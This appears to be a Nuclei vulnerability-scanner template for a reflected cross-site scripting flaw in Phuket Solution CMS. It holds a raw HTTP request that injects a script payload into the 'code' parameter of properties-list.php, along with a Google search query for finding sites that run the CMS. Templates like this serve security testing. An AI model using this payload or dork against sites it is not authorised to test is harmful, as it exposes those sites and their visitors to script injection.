id: phuket-cms-xss

info:
  name: Phuket Solution CMS - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Phuket Solutions CMS is vulnerable to Reflected XSS in which an attacker injects malicious executable scripts into the code of a trusted application or website.
  reference:
    - https://www.exploitalert.com/view-details.html?id=36234
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    google-query: intext:"Developed by Phuket Solution"
  tags: xss,phuket,phuket-cms,vuln

http:
  - raw:
      - |
        GET /properties-list.php?property-types=1&types=2&location=&prices=&bedroom=&code=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>") && contains(body, "Phuket Solution")'
        condition: and
# digest: 4b0a00483046022100be4f770637b89fe160e873ba7282503eb6c10887bf28f1f325f0e504a40496ea022100e3a3a7ae8210d903cef2fb55a494d0f935d6e8b74d071e72ff8ae9a8f180b7b3:922c64590222798bb761d5b6d8e72950